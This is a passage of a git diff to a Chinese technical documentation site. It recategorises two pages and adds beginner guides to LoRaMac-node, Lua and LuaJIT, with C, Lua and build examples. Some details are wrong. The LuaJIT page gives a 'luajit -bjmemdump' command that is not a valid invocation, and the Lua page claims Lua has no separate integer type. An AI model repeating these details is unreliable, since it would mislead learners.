+Logseq 把 **outline 式记录** 与 **wikilink 知识图谱** 合成在同一套 **离线、块级、可查询** 的系统里：Tab 缩进表达结构，`[[页面]]` 与 `#标签` 表达关联，`property::` 与 query 表达结构化管理。入门只需今日 Journal 开始写；熟练后块引用与查询会把零散日记收成可导航的第二大脑。数据在本地 Markdown 里，**你拥有图的全部节点与边**——这也是它作为「块结构离线知识库」最核心的承诺。
diff --git a/src/content/docs/projects/loki.md b/src/content/docs/projects/loki.md
index 025db5a94..bd1a83926 100644
--- a/src/content/docs/projects/loki.md
+++ b/src/content/docs/projects/loki.md
@@ -2,7 +2,7 @@
 title: Loki — 给日志做 Prometheus，只索引标签不索引内容
 来源: https://github.com/grafana/loki
 日期: 2026-06-01
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/longhorn.md b/src/content/docs/projects/longhorn.md
index eafe10683..e4a3de7fe 100644
--- a/src/content/docs/projects/longhorn.md
+++ b/src/content/docs/projects/longhorn.md
@@ -2,7 +2,7 @@
 title: Longhorn — K8s 原生的轻量分布式块存储
 来源: https://github.com/longhorn/longhorn
 日期: 2026-06-01
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/lora-mac-node.md b/src/content/docs/projects/lora-mac-node.md
new file mode 100644
index 000000000..7a71ef1ca
--- /dev/null
+++ b/src/content/docs/projects/lora-mac-node.md
@@ -0,0 +1,244 @@
+---
+title: LoRaMac-node — LoRaWAN 终端协议栈参考实现零基础学习笔记
+来源: 'https://github.com/Lora-net/LoRaMac-node'
+日期: 2026-06-13
+子分类: 嵌入式
+分类: 操作系统
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**LoRaMac-node** 是 LoRa Alliance 成员 Semtech / Stackforce 维护的 **LoRaWAN 终端（End-Device）协议栈参考实现**，仓库地址 [Lora-net/LoRaMac-node](https://github.com/Lora-net/LoRaMac-node)。它用 C 语言完整实现了 LoRaWAN L2 规范（1.0.4 / 1.1.0 等分支）、区域参数（Regional Parameters）、Class A/B/C 三种设备类，并附带 SX127x、SX126x、LR1110 等射频驱动与多款开发板示例。
+
+日常类比：**小区门禁系统里的「住户端 App + 对讲机固件」**。
+
+想象一栋 LoRa 物联网「小区」：网关是物业前台，网络服务器是总部调度中心，而你的温湿度传感器、水表、烟感就是住户。住户不能自己随便选频道、随便喊话——必须按章程（LoRaWAN 规范）先登记入网（Join），再在规定窗口收发信件（上行/下行），还要遵守各国无线电法规（EU868、US915 等频段与占空比）。**LoRaMac-node 就是这套章程在 MCU 里的完整落地代码**：加密、帧格式、入网、ADR、Class B 信标同步……你不用从零写 MAC 层，只需填 DevEUI、写应用 payload、选开发板编译烧录。
+
+> **维护状态（2024 起）**：Semtech 已将新功能开发迁移到 **LoRa Basics Modem**；LoRaMac-node 进入 **maintenance mode**（仍修关键 bug，但不追新特性如 Relay、CSMA、LoRaWAN 1.2）。**存量项目与教学仍极有价值**；全新量产设计官方更推荐 LoRa Basics Modem。
+
+## 解决什么问题
+
+LoRa 物理层（Semtech 的 LoRa 调制）只解决「远距离、低功耗传比特」；要组成可运营的大规模 IoT 网络，还需要 MAC 层以上的 LoRaWAN：**OTAA/ABP 激活、帧计数防重放、AES 加解密、自适应速率 ADR、多区域合规、Class B/C 下行调度**。自己实现一遍 MAC 既容易与认证测试不一致，又难以跟进 Alliance  errata。
+
+LoRaMac-node 的定位是：
+
+| 角色 | 说明 |
+| --- | --- |
+| **规范对照实现** | 与 LoRaWAN Spec / RP 文档一一对应，便于理解「标准到底长什么样」 |
+| **认证参考** | 各 `LoRaMac/*` 示例内置 LoRa Alliance 认证协议实现 |
+| **可移植栈** | 分层清晰：Radio / Region / MAC / Handler，换芯片主要动 Board + Radio |
+| **学习样板** | Doxygen 文档：<http://stackforce.github.io/LoRaMac-doc/> |
+
+## 协议栈分层
+
+从下到上，可以把仓库理解成五层：
+
+```
+应用层     LmHandler + periodic-uplink-lpp / fuota-test-01 等示例
+           ↓
+MAC 核心   LoRaMac.c — 状态机、MCPS/MLME、MAC 命令、Join/Rejoin
+           ↓
+安全       LoRaMacCrypto + Secure Element（soft-se / lr1110-se / ATECC608A）
+           ↓
+区域       Region/ — EU868、US915、AS923… 信道、功率、占空比
+           ↓
+射频       radio/ — SX1272/73、SX1276/77/78/79、SX1261/2、LR1110 驱动
+           ↓
+板级       boards/ — Nucleo、B-L072Z-LRWAN1、SAMR34、SKiM 等 BSP + Timer/RTC
+```
+
+上层应用**不应直接**频繁调用 `Radio.Send()` 发裸 LoRa 包（那是 `ping-pong` 示例做的事）；LoRaWAN 应用应走 **MCPS 发数据、MLME 管网络** 的 API 或更封装一层的 **LmHandler**。
+
+## 核心概念
+
+### 1. MCPS 与 MLME：两套「服务窗口」
+
+LoRaMAC API 借鉴 IEEE 802.15.4 的 **Request → Confirm** 与 **Indication → Response** 原语：
+
+| 服务 | 全称 | 典型用途 |
+| --- | --- | --- |
+| **MCPS** | MAC Common Part Sublayer | 发/收应用数据（Confirmed / Unconfirmed） |
+| **MLME** | MAC Layer Management Entity | Join、LinkCheck、Class 切换、DevStatus 等管理 |
+| **MIB** | MAC Information Base | 读写 DevAddr、密钥、区域、Class 等运行时配置 |
+
+记忆口诀：**MCPS 运货，MLME 办手续，MIB 查户口。**
+
+### 2. Class A / B / C：设备「有多闲才能听下行」
+
+| Class | 行为 | 典型场景 |
+| --- | --- | --- |
+| **A** | 每次上行后开两个短 RX 窗口收下行；其余时间可睡 | 电池传感器（默认） |
+| **B** | 在 A 基础上，按网关信标在固定时刻开 ping-slot | 需定时下行调度 |
+| **C** | 几乎持续 RX，只有发上行时短暂关闭 | 有电插座、执行器 |
+
+Class A 最省电；Class C 下行延迟最低但功耗最高。示例 `periodic-uplink-lpp` 可通过 CMake 的 `LORAWAN_DEFAULT_CLASS` 与 `CLASSB_ENABLED` 配置。
+
+### 3. OTAA vs ABP：两种「入户方式」
+
+- **OTAA（Over-The-Air Activation）**：设备带 DevEUI / JoinEUI / AppKey 上电发 Join-Request，网络下发 Join-Accept 并分配 DevAddr 与会话密钥。**可更换网络、可量产烧录统一固件**，推荐方式。
+- **ABP（Activation By Personalization）**：DevAddr 与密钥预先写死，跳过 Join。**调试快**，但密钥泄露风险高、不利于大规模运维。
+
+LoRaMac-node 通过 `CommissioningParams.IsOtaaActivation` 与 `LmHandlerJoin()` 统一入口；ABP 设备调用 Join 实际是 pass-through。
+
+### 4. Regional Parameters：同一套栈，不同国家不同「交规」
+
+`ACTIVE_REGION` 与 `REGION_EU868` 等 CMake 开关决定编译进哪些 Region 实现。EU868 默认若干信道与 1% 占空比；US915 用 64+8 信道方案；AS923 还分子频段。**选错 Region 的表现往往是 Join 成功但上行全丢、或 duty-cycle 报错**——这不是射频坏了，是「交规」不对。
+
+### 5. Secure Element：密钥放在哪
+
+仓库支持三种抽象：
+
+| 实现 | 说明 |
+| --- | --- |
+| `soft-se` | 密钥在 Flash/RAM，开发常用 |
+| `lr1110-se` | LR1110 片上安全区 |
+| `atecc608a-tnglora-se` | Microchip ATECC608A-TNGLORA 预置证书，不可改写 |
+
+量产应倾向硬件 SE；学习阶段 `soft-se` 足够。
+
+### 6. LmHandler：应用层的「大堂经理」
+
+直接调 `LoRaMacMcpsRequest()` 可行但样板代码普遍用 **LmHandler**：封装 Join、Send、Class 切换、NVM 存储、回调通知。示例 `periodic-uplink-lpp` 演示定时上行 **Cayenne LPP** 编码温湿度——这是最常见的应用骨架。
+
+## 代码示例
+
+### 示例 1：注册回调并完成 OTAA Join
+
+以下片段摘自 `periodic-uplink-lpp` 各板型 `main.c` 的通用模式：先挂回调，入网成功后申请目标 Class。
+
+```c
+static void OnJoinRequest(LmHandlerJoinParams_t *params)
+{
+    if (params->Status == LORAMAC_HANDLER_ERROR) {
+        /* Join 失败则重试 */
+        LmHandlerJoin();
+    } else {
+        /* 入网成功，切换到编译期默认 Class（A/B/C） */
+        LmHandlerRequestClass(LORAWAN_DEFAULT_CLASS);
+    }
+}
+
+static LmHandlerCallbacks_t LmHandlerCallbacks = {
+    .GetBatteryLevel = BoardGetBatteryLevel,
+    .GetRandomSeed   = BoardGetRandomSeed,
+    .OnMacProcess    = OnMacProcessNotify,  /* 驱动 LoRaMacProcess() */
+    .OnJoinRequest   = OnJoinRequest,
+    .OnTxData        = OnTxData,
+    .OnRxData        = OnRxData,
+    .OnClassChange   = OnClassChange,
+    /* … 其余回调可置 NULL … */
+};
+
+int main(void)
+{
+    BoardInitMcu();
+    LmHandlerInit(&LmHandlerCallbacks, &LmHandlerParams);
+    LmHandlerConfigure(&LmHandlerParams);
+    LmHandlerJoin();           /* 启动 OTAA 或 ABP */
+    while (1) {
+        LmHandlerProcess();    /* 必须在主循环或 RTOS 任务中周期调用 */
+    }
+}
+```
+
+要点：`OnMacProcessNotify` 里应调用 `LmHandlerProcess()`（或 `LoRaMacProcess()`），否则 MAC 状态机不推进，Join 永远卡住。
+
+### 示例 2：构造应用数据并发送（MCPS）
+
+LmHandler 内部将应用数据转为 MCPS 请求；等价逻辑如下（摘自 `LmHandler.c` 思路）：
+
+```c
+LmHandlerErrorStatus_t SendSensorUplink(uint8_t *payload, uint8_t len)
+{
+    if (LmHandlerJoinStatus() != LORAMAC_HANDLER_SET) {
+        LmHandlerJoin();
+        return LORAMAC_HANDLER_ERROR;
+    }
+
+    LmHandlerAppData_t appData = {
+        .Port    = 2,              /* LoRaWAN FPort，0 保留给 MAC 命令 */
+        .Buffer  = payload,
+        .BufferSize = len,
+    };
+
+    /* LORAMAC_HANDLER_UNCONFIRMED_MSG：省下行确认、适合高频遥测 */
+    return LmHandlerSend(&appData, LORAMAC_HANDLER_UNCONFIRMED_MSG);
+}
+```
+
+若需 **可靠送达**（网络会回 Ack，可触发重传），改用 `LORAMAC_HANDLER_CONFIRMED_MSG`。发送前栈会调用 `LoRaMacQueryTxPossible()` 检查 payload 是否超过当前 DR 的 MAC 帧上限；过长时会先发空帧 flush MAC 命令队列。
+
+### 示例 3：CMake 构建 periodic-uplink-lpp（EU868 + LR1110）
+
+官方 README 推荐 CMake 交叉编译，典型命令：
+
+```bash
+git clone https://github.com/lora-net/loramac-node.git loramac-node
+cd loramac-node
+git submodule update --init
+
+mkdir build && cd build
+cmake -DCMAKE_BUILD_TYPE=Release \
+      -DCMAKE_TOOLCHAIN_FILE="../cmake/toolchain-arm-none-eabi.cmake" \
+      -DAPPLICATION="LoRaMac" \
+      -DSUB_PROJECT="periodic-uplink-lpp" \
+      -DCLASSB_ENABLED="ON" \
+      -DACTIVE_REGION="LORAMAC_REGION_EU868" \
+      -DREGION_EU868="ON" \
+      -DBOARD="NucleoL476" \
+      -DRADIO="LR1110" \
+      -DSECURE_ELEMENT="LR1110_SE" \
+      ..
+make -j$(nproc)
+```
+
+烧录前在 `se-identity.h` 或相应 commissioning 头文件中填入与 ChirpStack / TTN / 私有 NS 一致的 **DevEUI、JoinEUI、AppKey**（OTAA）或 ABP 参数。
+
+## 仓库里还有哪些示例
+
+| 路径 | 用途 |
+| --- | --- |
+| `LoRaMac/periodic-uplink-lpp` | Class A/B/C 周期上行 + Cayenne LPP |
+| `LoRaMac/fuota-test-01` | FUOTA 固件升级测试场景 |
+| `ping-pong` | 纯 LoRa 点对点，**不经过 LoRaWAN** |
+| `rx-sensi` / `tx-cw` | 射频灵敏度、连续波实验室测试 |
+
+Certification 相关逻辑已嵌入 LoRaMac 应用公共包，对接 Alliance 测试工具时有参考价值。
+
+## 与相关项目的关系
+
+- **LoRa Basics Modem**：Semtech 新栈，支持 Relay、CSMA 等新特性；新设计优先评估。
+- **[[zephyr]] / [[sdk-nrf]]**：Nordic NCS 等可通过 Zephyr 模块集成 LoRaWAN，部分产品不再直接裸用 LoRaMac-node，但 MAC 概念相通。
+- **ChirpStack / The Things Stack**：开源或商业 **LoRaWAN Network Server**；终端侧 LoRaMac-node 与之通过 air interface 对接，无直接代码依赖。
+- **[[tinygo]]**：Go 语言嵌入式路线；若要坚持 C 栈 + 多射频参考实现，LoRaMac-node 仍是教科书级选择。
+
+## 常见问题
+
+**Join 一直超时**
+
+- 检查 DevEUI / JoinEUI / AppKey 字节序（LoRaWAN 常要求 MSB 显示与代码数组顺序一致）。
+- 确认 `ACTIVE_REGION`、天线、网关是否在相同频段（如 EU868 vs US915）。
+- 串口日志看 MLME-Confirm 的 `Status` 与 duty-cycle 等待时间。
+
+**上行有日志但 NS 收不到**
+
+- FPort、MIC、帧计数 FCntUp 不同步（ABP 手动配帧计数）。
+- 网关与 NS 之间的 IP 链路或 routing 问题（终端 MAC 可能已成功）。
+
+**Class B 不工作**
+
+- 需 `CLASSB_ENABLED=ON`，且网络下发 Beacon 配置；GPS 或精确时间源影响同步。
+
+## 学习路径建议
+
+1. 读 Wiki：<https://github.com/Lora-net/LoRaMac-node/wiki> 与 Doxygen 的 Quick-Start / Porting Guide。
+2. 用 `soft-se` + 手头 Nucleo / ST 官方 LoRa 板编译 `periodic-uplink-lpp`，对接一个免费 NS（如 TTN v3）。
+3. 串口打开 `ACTIVE_REGION` 对应 trace，观察 **Join → MCPS Confirm → RX 窗口** 时序。
+4. 再读 `src/mac/LoRaMac.c` 里 `LoRaMacHandleMcpsRequest` / MLME Join 分支，对照 LoRaWAN 1.0.4 PDF 的 MAC 帧图。
+5. 若做量产，评估是否迁移 **LoRa Basics Modem**，或选用芯片厂 SDK 中已集成的栈。
+
+## 小结
+
+LoRaMac-node 是理解 **LoRaWAN 终端侧** 的最佳开源参考之一：从 RF 驱动到 Join 加密，从 EU868 占空比到 Class C 常开接收，层次分明、示例可跑。它像一本带可运行代码的规范注解——即使 Semtech 把创新栈迁往 LoRa Basics Modem，掌握 LoRaMac-node 仍能让你在读任何 LoRaWAN 产品固件、抓包、排 Join 故障时，知道 MAC 层**本该**发生什么。
diff --git a/src/content/docs/projects/love2d.md b/src/content/docs/projects/love2d.md
index 9e532ad01..a45e0ae46 100644
--- a/src/content/docs/projects/love2d.md
+++ b/src/content/docs/projects/love2d.md
@@ -204,6 +204,7 @@ end
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
 - [[debevec-1998-rendering-with-natural-light]] —— Debevec 1998 — 用真实世界的光照亮 CG 物体
+- [[godot]] —— Godot Engine — 开源游戏引擎 + 编辑器
 - [[heaps]] —— Heaps — 用 Haxe 一次编写、发布到任何平台的游戏引擎
 - [[kajiya-1986-rendering-equation]] —— Kajiya 渲染方程 — 把所有渲染算法统一成一个积分方程
 - [[phaser]] —— Phaser — 在浏览器里写 2D 游戏的完整工具箱
diff --git a/src/content/docs/projects/lua.md b/src/content/docs/projects/lua.md
new file mode 100644
index 000000000..02c0b8de6
--- /dev/null
+++ b/src/content/docs/projects/lua.md
@@ -0,0 +1,211 @@
+---
+title: Lua — 极简嵌入式语言
+来源: 'https://github.com/lua/lua'
+日期: 2026-06-13
+子分类: 语言运行时
+分类: 编译器
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Lua** 是 1993 年由巴西[Pontifical Catholic University](https://www.puc-rio.br/)（PUC-Rio）团队创造的一门**轻量级、可嵌入的脚本语言**。当前最新版本是 5.5.0（2025-12-22 发布）。它用纯 C 实现，语法简洁到核心手册不到 100 页——对编程零基础的人来说，它是"看起来最不像编程的东西"之一。
+
+日常类比：
+
+- 如果把 **Python** 想成一部功能齐全的智能汽车（自动驾驶、空调、大屏导航），那 **Lua** 就像一把**瑞士军刀**——没有花哨功能，但刀叉、开瓶器、小刀片全都有，而且你能把它塞进任何口袋
+- 或者更贴切地说：Lua 是任何应用程序都可以随身携带的"**万能插件接口**"。你想让 Photoshop 用脚本批量修图？Lua。想让游戏《魔兽世界》的 UI 可定制？Lua。想让 Redis 执行原子脚本？Lua。想让 Nginx 做动态路由？Lua（OpenResty）
+
+## 核心概念
+
+### 1. 一切皆"表"——一种数据结构
+
+Lua 只有一种**原始数据结构**：`table`（表）。它同时扮演其他语言里多种角色的工作：
+
+| 其他语言 | Lua 的表 |
+|---|---|
+| 数组（Array） | 下标从 1 开始的表 |
+| 字典/哈希（Dictionary/HashMap） | 字符串或任意类型当键的表 |
+| 对象/结构体（Object/Struct） | 字段是键、方法是对应的函数 |
+| 集合（Set） | 只用键、值为 `true` 的表 |
+
+这个设计被称为"一切皆表"，意味着你不需要记住十几种容器类型——一种结构走天下。
+
+### 2. 所有变量默认全局——但有本地变量
+
+Lua 里如果一个变量**没声明**就赋值，它会直接成为**全局变量**：
+
+```lua
+x = 10  -- 全局变量 x
+```
+
+这看起来像"陷阱"，但 Lua 提供了一个关键字 `local` 来创建**局部变量**（类似 Python 的函数内变量、C 的局部变量）：
+
+```lua
+local y = 20  -- 局部变量，只在当前块有效
+```
+
+最佳实践：**始终用 `local`**——这就像在房间里说话（局部）还是对着大喇叭喊（全局）的区别。
+
+### 3. 下标从 1 开始
+
+Lua 的数组索引从 **1** 开始（不是 0）。这是它最著名的"反常规"设计，创始人 Roberto Ierusalimschy 的解释是：**对非技术人员来说，"第 1 行"比"第 0 行"更符合直觉**。
+
+### 4. 真正的 nil
+
+Lua 里有一个 `nil` 值，表示"不存在"。如果把一个变量的值设为 `nil`，就等同于**删除**了它：
+
+```lua
+local t = {a = 1, b = 2}
+t.a = nil  -- 等同于删除了 key "a"
+```
+
+## 代码示例
+
+### 示例 1：基础语法——变量、控制流、函数
+
+这个例子展示了 Lua 最基础的三样东西：变量赋值、条件判断、循环和函数定义：
+
+```lua
+-- 1. 变量和类型
+local name = "Lua"           -- 字符串
+local version = 5.5           -- 数字（Lua 不分整数和浮点数）
+local is_embeddable = true    -- 布尔值
+local nothing = nil           -- 空值
+
+-- 2. 条件判断（注意：用 then / end 包裹，不用大括号）
+if is_embeddable then
+    print(name .. " 可以被嵌入任何程序")
+elseif version < 5 then
+    print("版本太旧")
+else
+    print("默认分支")
+end
+
+-- 3. 循环：for 从 1 到 3（含）
+for i = 1, 3 do
+    print("计数: " .. i)
+end
+
+-- 4. 函数定义（函数是一等公民，可以赋值给变量）
+local function greet(person)
+    return "你好, " .. person .. "!"
+end
+
+print(greet(name))  -- 输出: 你好, Lua!
+```
+
+**关键点拆解：**
+
+- `..` 是**字符串连接符**（不是 `+`，那是给数字用的）
+- `do ... end` 是代码块——每层 `if`、`for`、`function` 都必须用 `end` 闭合
+- `local function` 定义局部函数，不加 `local` 就是全局函数
+
+### 示例 2：表（Table）——Lua 最核心的数据结构
+
+这个例子展示了如何用一张表同时做字典、对象和"类"：
+
+```lua
+-- 1. 创建一个表（像一个万能盒子）
+local person = {
+    name = "田中太郎",
+    age = 30,
+    hobbies = {"读书", "编程", "摄影"},  -- 嵌套的表当数组用
+}
+
+-- 2. 访问和修改
+print(person.name)       -- 输出: 田中太郎
+person.age = 31          -- 修改现有字段
+person.city = "东京"      -- 新增字段（之前不存在，自动创建）
+
+-- 3. 遍历表的每一个字段
+for key, value in pairs(person) do
+    print(key .. ": " .. tostring(value))
+end
+
+-- 4. 给表"绑定方法"——这就是 Lua 的面向对象方式
+local car = {
+    brand = "Toyota",
+    speed = 0,
+}
+
+-- 把函数放进表里当方法
+function car:speed_up(by)
+    self.speed = self.speed + by
+    print(self.brand .. " 加速到 " .. self.speed .. " km/h")
+end
+
+function car:brake(by)
+    self.speed = math.max(0, self.speed - by)  -- 不能低于 0
+    print(self.brand .. " 减速到 " .. self.speed .. " km/h")
+end
+
+-- 调用方法（用冒号: 会自动传入 self）
+car:speed_up(30)  -- 输出: Toyota 加速到 30 km/h
+car:speed_up(20)  -- 输出: Toyota 加速到 50 km/h
+car:brake(15)     -- 输出: Toyota 减速到 35 km/h
+```
+
+**关键点拆解：**
+
+- `table[key]` 和 `table.key` 都能访问字段——后者更简洁，但键名必须是合法标识符（不能是数字或以数字开头）
+- `pairs(t)` 遍历表的所有键值对
+- `self` 是冒号 `:` 语法糖——`car:speed_up(30)` 等价于 `car.speed_up(car, 30)`，`self` 就是 `car` 本身
+- `math.max(0, ...)` 是 Lua 标准库的数学函数，确保速度不低于 0
+
+### 示例 3：模块与加载——让代码可复用
+
+```lua
+-- 假设保存为 math_utils.lua
+local M = {}  -- M 代表 Module，约定俗成的写法
+
+function M.add(a, b)
+    return a + b
+end
+
+function M.multiply(a, b)
+    return a * b
+end
+
+function M.factorial(n)
+    if n <= 1 then
+        return 1
+    end
+    return n * M.factorial(n - 1)  -- 递归调用
+end
+
+return M  -- 对外暴露这个表
+```
+
+在另一个文件中加载：
+
+```lua
+local math_utils = require("math_utils")
+print(math_utils.add(3, 5))        -- 输出: 8
+print(math_utils.factorial(5))     -- 输出: 120
+```
+
+`require` 是 Lua 的模块加载器——它确保同一个模块**只加载一次**，后续调用直接返回缓存结果。`M` 是约定：把想对外暴露的函数和变量放进它，最后 `return M`。
+
+## 为什么 Lua 值得学
+
+对嵌入式场景而言，Lua 有几个几乎**无法被替代**的优势：
+
+- **极小体积**——解释器核心（lua.c + 标准库）编译后不到 300KB，比大多数单张 PNG 图片还小
+- **与 C 无缝互操作**——Lua 的设计目标就是让 C 程序能轻松"调用脚本"。主程序用 C 写核心逻辑，用户逻辑用 Lua 写——像游戏引擎让 Mod 作者用 Lua 改玩法
+- **纯 C 实现、无第三方依赖**——能在嵌入式 Linux、RTOS、甚至没有操作系统的单片机上编译运行
+- **动态类型 + 自动内存管理（垃圾回收）**——不用手动 `malloc/free`，对初学者友好，也不会像 Python 那样内存开销巨大
+- **一门语言解决多种数据结构问题**——一个 `table` 搞定数组、字典、对象、集合，减少学习成本
+
+## 常见应用场景
+
+- **游戏 Mod 系统**——《魔兽世界》、《GTA V》（LUA mod）、`LÖVE` 游戏框架
+- **Web 服务器脚本层**——OpenResty（Nginx + Lua）、Skynet 游戏服务器框架
+- **数据库脚本**——Redis 的 `EVAL` 命令执行 Lua 脚本保证原子性
+- **配置与扩展**——Neovim（编辑器配置）、Wireshark（协议解析器）、ImageMagick（图像处理管道）
+
+## 下一步
+
+- 官方文档：<https://www.lua.org/manual/5.5/>
+- 在线交互式练习：<https://www.lua.org/demo.html>
+- 经典教程书 *Programming in Lua*（PIL4）：<https://www.lua.org/pil/>
diff --git a/src/content/docs/projects/luajit.md b/src/content/docs/projects/luajit.md
new file mode 100644
index 000000000..2592b6780
--- /dev/null
+++ b/src/content/docs/projects/luajit.md
@@ -0,0 +1,193 @@
+---
+title: LuaJIT — Mike Pall 的极致优化 JIT
+来源: https://github.com/LuaJIT/LuaJIT
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# LuaJIT — Mike Pall 的极致优化 JIT
+
+## 什么是 JIT？一个日常类比
+
+想象你在学习骑自行车。刚开始的时候，每一步都很慢——左脚踩踏板、右脚蹬地、身体摇晃、差点摔倒。这就像**解释型语言**（比如标准 Lua）：每一行代码都要被逐条"翻译"成机器指令，边翻译边执行。
+
+但如果你骑得多了，身体会自动记住哪些动作是流畅的。你不再想"现在该踩左脚踏板了"，而是直接骑出去。这就是 **JIT（Just-In-Time，即时编译）** 的思想：程序先以解释方式运行，当它发现某段代码反复被执行（称为"热点代码"），就会把这段代码**整体编译成机器码**，之后直接跑机器码，速度飞快。
+
+LuaJIT 就是这样一个为 Lua 语言打造的 JIT 编译器。它的作者 Mike Pall 从 2005 年开始开发它，至今已经被认为是**世界上最快的动态语言实现之一**。
+
+## LuaJIT 是什么？
+
+LuaJIT 全称 Lua Just-In-Time Compiler，是 Lua 语言的一个超高性能替代品。它完全兼容 Lua 5.1 的 API 和 ABI，也就是说：你用标准 Lua 写的代码，几乎不需要修改就能在 LuaJIT 上运行，而且跑得更快。
+
+它不是一个简单的"加速器"，而是从虚拟机底层重新设计的整个系统：
+
+- **极速解释器**：用汇编语言手写的虚拟机核心，比标准 Lua 的解释器快很多
+- **追踪型 JIT 编译器（Trace Compiler）**：这是 LuaJIT 最核心的创新，后面详细讲
+- **FFI 库**：可以直接调用 C 函数、使用 C 数据结构，绕过传统的 Lua/C 绑定开销
+- **位运算内置支持**：内置 bit.* 模块，不需要额外安装
+
+它运行在 x86、x64、ARM、ARM64、PowerPC、MIPS 等平台，从嵌入式设备到服务器农场都能用。
+
+## 核心概念：追踪编译（Trace Compilation）
+
+大多数 JIT 编译器采用的是"方法编译"（Method Compilation）策略：当一个函数被反复调用时，就把整个函数编译成机器码。
+
+LuaJIT 用的是完全不同的策略——**追踪编译（Trace Compilation）**。
+
+### 追踪编译是怎么工作的？
+
+想象你在高速公路上开车。普通的 JIT 编译器会记录你走过的每一条路的完整路线，然后把这些路线全部优化好。而 LuaJIT 的做法更聪明：它只记录你**实际走过的那条具体路线**（也就是"追踪"），然后把这条路线编译成最优的机器码。
+
+具体来说：
+
+1. 程序先以解释方式运行
+2. 当 LuaJIT 发现某个循环被反复执行（比如 `for i=1,1000000 do ... end`），它就会启动"录制"
+3. 它记录这次循环中**实际走过的每条路径**（包括分支判断的实际结果）
+4. 把这条"追踪"编译成高度优化的机器码
+5. 下次再走到这里，直接跳到编译好的机器码执行
+
+这种方式的优点是：它不需要理解整个函数的逻辑，只需要优化你**实际走过的路径**。对于有复杂条件分支的代码，这能避免生成大量永远不会执行的死代码。
+
+### SSA 优化
+
+LuaJIT 在编译追踪时会用到 **SSA（Static Single Assignment，静态单赋值）** 形式。简单说，就是把变量变成"只赋值一次"的形式，这样编译器就能更容易地进行各种优化，比如：
+
+- **常量传播**：如果某个变量的值在编译时就知道，就直接用这个值替换
+- **死代码消除**：如果计算出来的结果从来没被用过，就删掉
+- **寄存器分配**：把变量尽量放在 CPU 寄存器里，而不是内存中
+
+## 代码示例一：基础追踪编译
+
+下面这个例子展示了 LuaJIT 如何利用追踪编译来加速循环：
+
+```lua
+-- 计算 1 到 1000000 的和
+local function sum(n)
+  local total = 0
+  for i = 1, n do
+    total = total + i
+  end
+  return total
+end
+
+print(sum(1000000))
+```
+
+在这段代码中：
+
+- 第一遍运行时，`for` 循环以解释方式执行，比较慢
+- LuaJIT 检测到这个循环是"热点"（被反复执行），于是启动追踪编译
+- 它录制了循环体 `total = total + i` 的执行路径
+- 将这条追踪编译成机器码，并应用 SSA 优化：`total` 被放入 CPU 寄存器，循环被展开
+- 之后的每次执行都直接跑编译好的机器码，速度可能提升 10-20 倍
+
+你可以用 LuaJIT 的内置分析器来看看哪些代码被 JIT 编译了：
+
+```bash
+luajit -bjmemdump sum.lua
+```
+
+这会输出内存转储，其中包含被编译的追踪信息。
+
+## 代码示例二：FFI 库的高性能 C 数据操作
+
+LuaJIT 最强大的特性之一是 FFI（Foreign Function Interface）库。它允许 Lua 代码直接定义和使用 C 类型，性能几乎等同于纯 C 代码。
+
+```lua
+local ffi = require("ffi")
+
+-- 定义一个 C 结构体：RGBA 像素
+ffi.cdef[[
+    typedef struct {
+        uint8_t red, green, blue, alpha;
+    } rgba_pixel;
+]]
+
+-- 创建一个包含 160000 个像素的数组（400x400 图像）
+local N = 400 * 400
+local img = ffi.new("rgba_pixel[?]", N)
+
+-- 填充绿色渐变
+for i = 0, N - 1 do
+    img[i].green = i * 255 / (N - 1)
+    img[i].alpha = 255
+end
+
+-- 转换为灰度图（纯数值计算，JIT 会全力优化这个循环）
+for i = 0, N - 1 do
+    local y = 0.3 * img[i].red + 0.59 * img[i].green + 0.11 * img[i].blue
+    img[i].red = y
+    img[i].green = y
+    img[i].blue = y
+end
+
+print("处理完成！像素数量:", N)
+```
+
+这个例子的关键点：
+
+- `ffi.cdef` 里的内容是标准 C 语法，LuaJIT 直接解析它，不需要写额外的绑定代码
+- `ffi.new` 分配的是**连续的 C 内存**，不是 Lua 表——内存占用从约 22MB 降到 640KB（缩小 35 倍）
+- 两个 `for` 循环都会被 JIT 编译成机器码，性能比纯 Lua 版本快约 20 倍，比标准 Lua 解释器快约 110 倍
+- 对 `img[i].red` 等字段的访问会被内联，没有函数调用开销
+
+## 代码示例三：调用外部 C 函数
+
+```lua
+local ffi = require("ffi")
+
+-- 声明 C 标准库函数
+ffi.cdef[[
+    int printf(const char *fmt, ...);
+    void *malloc(size_t size);
+    void free(void *ptr);
+]]
+
+-- 直接调用 printf
+ffi.C.printf("Hello from LuaJIT!\n")
+
+-- 直接调用 malloc 和 free
+local ptr = ffi.C.malloc(1024)
+if ptr ~= nil then
+    ffi.C.printf("分配了 %d 字节内存\n", 1024)
+    ffi.C.free(ptr)
+end
+```
+
+这里 `ffi.C` 是一个命名空间，代表系统的 C 标准库。你声明了函数签名后，就可以像调用普通 Lua 函数一样调用它们。参数会自动在 Lua 类型和 C 类型之间转换。
+
+## LuaJIT 的性能优势总结
+
+| 对比项 | 标准 Lua 5.1 | LuaJIT 2.1 |
+|--------|-------------|-----------|
+| 虚拟机实现 | C 编写 | 汇编手写核心 + C |
+| 编译策略 | 无（纯解释） | 追踪型 JIT + SSA 优化 |
+| 典型循环加速 | 1x | 10-20x |
+| FFI vs 传统 Lua/C 绑定 | N/A | 快约 20x |
+| 内存占用 | 较高（Lua 表开销大） | 低（FFI 连续内存） |
+| 兼容性 | 基准 | 完全兼容 Lua 5.1 API+ABI |
+
+## 为什么 Mike Pall 能做到极致优化？
+
+回顾 LuaJIT 的设计哲学，有几个关键原因：
+
+1. **汇编手写虚拟机核心**：大部分 JIT 项目的 VM 用 C 写，但 Mike Pall 把最关键的解释器部分用汇编重写，每一行指令都精心优化
+2. **追踪编译而非方法编译**：避免了方法编译中"编译了整个函数但只用了其中一条路径"的浪费
+3. **FFI 深度集成**：不是外挂模块，而是和 JIT 编译器紧密耦合，FFI 代码也能被 JIT 编译和内联
